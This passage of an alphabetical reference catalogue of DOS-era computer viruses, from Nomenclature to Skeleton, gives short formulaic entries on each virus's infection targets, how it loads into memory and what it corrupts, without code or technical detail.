The Nomenclature Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

NOP Virus

The NOP Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Not-586 Virus

The Not-586 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Nov17 Virus

The Nov17 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

NPox 2.0 Virus

The NPox 2.0 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

NPox 2.1 Virus

The NPox 2.1 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Null Virus

The Null Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Number 6 Virus

The Number 6 Virus is a computer virus written by Dark Helmet of the Trident organisation, which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Number of The Beast Virus

see "512_Virus"

Nygus-KL Virus

The Nygus-KL Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Off Stealth Virus

The Off Stealth Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime

operation and corrupts program or overlay files and data files.

Offspring Virus

The Offspring Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Ohio Virus

The Ohio Virus is a computer virus which infects the diskette boot
sector. The virus is loaded into memory by booting from an infected
disk and then affects the computer's runtime operation.

Omt Virus

The Omt Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files and data files.

Ontario 3 Virus

The Ontario 3 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Ontario Virus

The Ontario Virus is an encrypted computer virus which infects .COM
and .EXE files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files and data
files.

Oropax Virus

The Oropax Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Otto-415 Virus

The Otto-415 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts data files.

Over4032 Virus

The Over4032 Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Oxana Virus

The Oxana Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

P-45 Virus

The P-45 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

P1 Virus

The P1 Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

P529 Virus

The P529 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

PA-5792 Virus

The PA-5792 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Padded Virus

The Padded Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Page B Virus

The Page B Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Page Virus

The Page Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Pakistani Brain Virus

The Pakistani Brain Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk.

Paradise Virus

The Paradise Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Parasite Virus

The Parasite Virus is a computer virus which infects .COM files. The

virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Parasite-2B Virus

The Parasite-2B Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Paris Virus

The Paris Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Parity Boot B Virus

The Parity Boot B Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Parity Boot Virus

The Parity Boot Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Parity Virus

The Parity Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Particle Man Virus

The Particle Man Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Pas-4260 Virus

The Pas-4260 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Pas-5220 Virus

The Pas-5220 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Patch Virus

The Patch Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

PathHunt Virus

The PathHunt Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files and data files.

Patient Virus

The Patient Virus is a computer virus which infects .COM, .EXE and
overlay files. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Patsy Virus

The Patsy Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Payday Virus

The Payday Virus is a computer virus which infects .COM, .EXE and
overlay files. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

PC Flu Virus

The PC Flu Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

PCBB11 Virus

The PCBB11 Virus is a computer virus The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

PCBB3072 Virus

The PCBB3072 Virus is a computer virus The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

PCBB5B Virus

The PCBB5B Virus is a computer virus The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

PCV Virus

The PCV Virus is a computer virus which uses stealth techniques to
avoid detection and which infects .COM and .EXE files. The virus is
loaded into memory by executing an infected program and then affects
the computer's runtime operation, corrupts program or overlay files.

PE2 Virus

The PE2 Virus is a computer virus which infects .COM and .EXE files.

The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Peach Virus

The Peach Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Peek Virus

The Peek Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Pegg Virus

The Pegg Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Peking Virus

see "Yale_Virus"

Penis Size Virus

The Penis Size Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Pentagon Virus

The Pentagon Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Penza Virus

The Penza Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Perfume Virus

The Perfume Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Pest Virus

The Pest Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Phantom Virus

The Phantom Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

PI Virus

The PI Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program. The virus
corrupts program or overlay files and data files.

Piazzola Virus

The Piazzola Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Pig Virus

The Pig Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Ping Pong-B Virus

The Ping Pong-B Virus is a computer virus which infects the fixed disk
and diskette boot sectors . The virus is loaded into memory by booting
from an infected disk and then affects the computer's runtime
operation.

Pirate Virus

The Pirate Virus is a computer virus which infects the fixed disk and
diskette boot sectors . The virus is loaded into memory by booting
from an infected disk and then affects the computer's runtime
operation and corrupts program or overlay files.

Pirate Virus

The Pirate Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Pit 1228 Virus

The Pit 1228 Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Pitch Virus

The Pitch Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
data files.

Pixel Virus

The Pixel Virus (also called the Amstrad Virus) is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

PL Virus

The PL Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Plague Virus

The Plague Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Plastique Virus

The Plastique Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Platinum Virus

The Platinum Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

PLO Virus

see "Jerusalem_Virus"

Plov Virus

The Plov Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Plumbum Virus

The Plumbum Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Plutto Virus

The Plutto Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

Poem Virus

The Poem Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts

program or overlay files.

Pogue Virus

The Pogue Virus is an encrypted computer virus which infects .COM
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Poison Virus

The Poison Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Pojer Virus

The Pojer Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Polimer Virus

The Polimer Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Polish 217 Virus

The Polish 217 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Polish Tiny Virus

The Polish Tiny Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Polish-2 Virus

The Polish-2 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Polish-583 Virus

The Polish-583 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Popoolar Virus

The Popoolar Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

Porridge Virus

The Porridge Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Possessed Virus

The Possessed Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Predator Dropper Virus

The Predator Dropper Virus is a computer virus which infects the
diskette boot sector. The virus is loaded into memory by booting from
an infected disk and then affects the computer's runtime operation and
corrupts program or overlay files.

Predator Virus

The Predator Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Pregnant Virus

The Pregnant Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Prime Evil B Virus

The Prime Evil B Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Prime Virus

The Prime Virus is an encrypted computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program. The virus corrupts program or overlay
files and data files.

Print Monster Virus

The Print Monster Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Print Screen Virus

The Print Screen Virus is a computer virus which infects the fixed
disk and diskette boot sectors . The virus is loaded into memory by
booting from an infected disk and then affects the computer's runtime
operation and corrupts data files.

Prism Virus

The Prism Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation,
corrupts program or overlay files.

Prob-734 Virus

The Prob-734 Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Problem Virus

The Problem Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program. The virus corrupts program or overlay
files and data files.

Proto-T Virus

The Proto-T Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

PS-MPC

PS-MPC is the Phalcon/Skism Mass-Produced Code Generator written by
Dark Angel, and is a tool which generates virus code according to
user-designated specifications . The output is in Masm/Tasm-compatible
Intel 8086 assembly and it is up to the user to assemble the output
into a working executable form. PS-MPC is able to generate a wide
range of viruses .

PS-MPC Virus

The PS-MPC Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files and data files.

Psycho Virus

The Psycho Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Puke Virus

The Puke Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts data files.

QMU Virus

The QMU Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

QP3 Virus

The QP3 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Quadequa Virus

The Quadequa Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Quake-o Virus

The Quake-o Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts data files.

Queen's Virus

The Queen's Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Quiet Virus

The Quiet Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

R-10 Virus

The R-10 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

R-11 Virus

The R-11 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Radyum Virus

The Radyum Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Radyum-C Virus

The Radyum-C Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

RadyumB Virus

The RadyumB Virus is a computer virus which infects .COM files. The

virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Rage Virus

The Rage Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Ram Virus

The Ram Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Random Virus

The Random Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Rattle Virus

The Rattle Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Raubkopi Virus

The Raubkopi Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Reaper Virus

The Reaper Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts data files.

Rebo-715 Virus

The Rebo-715 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Red Cross Virus

see "Ambulance_Car_Virus"

Red Team Virus

The Red Team Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

RedX Virus

The RedX Virus is a variant of the Ambulance Car Virus . It is a

computer virus which infects .COM files including COMMAND.COM. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Reklama Virus

The Reklama Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Relzfu Virus

The Relzfu Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Replicator Virus

The Replicator Virus is a computer virus which uses stealth techniques
to avoid detection and which infects the fixed disk partition table.
The virus is loaded into memory by booting from an infected disk and
then affects the computer's runtime operation and corrupts program or
overlay files.

Reset Virus

The Reset Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Revelation Virus

The Revelation Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

RMIT Virus

The RMIT Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

RNA Virus

The RNA Virus is a computer virus which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

Rocko Virus

The Rocko Virus is a computer virus which uses stealth techniques to
avoid detection and which infects .COM, .EXE and overlay files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Romanian Virus

The Romanian Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

RPVS Virus

The RPVS Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Russian Tiny Virus

The Russian Tiny Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

S-847 Virus

The S-847 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

Sabath Virus

The Sabath Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Sacramento Virus

see "Alameda_B_Virus"

Saddam Virus

The Saddam Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Sadist Virus

The Sadist Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Sair Virus

The Sair Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

San Diego Virus

see "Stoned_Virus"

Sandra Virus

The Sandra Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Sandwich Virus

The Sandwich Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Saratoga Virus

The Saratoga Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Saturday 14th Virus

The Saturday 14th Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Saturday Virus

The Saturday Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Sayha Waptpu Virus

The Sayha Waptpu Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

SBC Virus

The SBC Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Schrunch Virus

The Schrunch Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Scker Virus

The Scker Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Scott's Valley Virus

The Scott's Valley Virus is an encrypted computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime

operation, corrupts program or overlay files and data files.

Scream 2 Virus

The Scream 2 Virus is an encrypted computer virus which infects .COM,
.EXE and overlay files including COMMAND.COM. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation and corrupts program or overlay files.

Screaming Fist Virus

The Screaming Fist Virus (also known as the EMF Virus, Stranger Virus,
Enemy Virus) is a computer virus is an encrypted computer virus
written by Lazarus Long in 1992, which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program files. The seconds field of infected files time stamp is set
to a value of 60 by the virus, which wont infect any file with a
seconds value of 60.

Scribble Virus

The Scribble Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Scroll Virus

The Scroll Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

SCT Virus

The SCT Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Scythe2D Virus

The Scythe2D Virus is an encrypted computer virus which infects the
diskette boot sector. The virus is loaded into memory by booting from
an infected disk and then affects the computer's runtime operation and
corrupts data files.

Sdir Virus

The Sdir Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Secrets Virus

The Secrets Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Semtex Virus

The Semtex Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Sentinel Virus

The Sentinel Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files and data files.

Sentinel-X Virus

The Sentinel-X Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files and data files.

Seoul Virus

see "Yale_Virus"

Serena Virus

The Serena Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Sergeant Virus

The Sergeant Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts data files.

Sh Virus

The Sh Virus is a computer virus which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

Shadow Virus

The Shadow Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Shake Virus

The Shake Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Shaman Virus

The Shaman Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Shanghai Virus

The Shanghai Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Shield Virus

The Shield Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Shiny Happy Virus

The Shiny Happy Virus is a computer virus which uses stealth
techniques to avoid detection and which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Shock Therapy Virus

The Shock Therapy Virus is a computer virus which infects .COM and
.EXE files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Silence Virus

The Silence Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

Silly Willy Virus

The Silly Willy Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program. The virus corrupts program or overlay
files and data files.

Silver Dollar Virus

The Silver Dollar Virus is a computer virus which infects .COM and
.EXE files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Silver3b Virus

The Silver3b Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program. The virus corrupts program or overlay
files and data files.

Simple 1992 Virus

The Simple 1992 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Simulati Virus

The Simulati Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Sis Virus

The Sis Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Sk Virus

The Sk Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Sk1 Virus

The Sk1 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Skeleton Virus

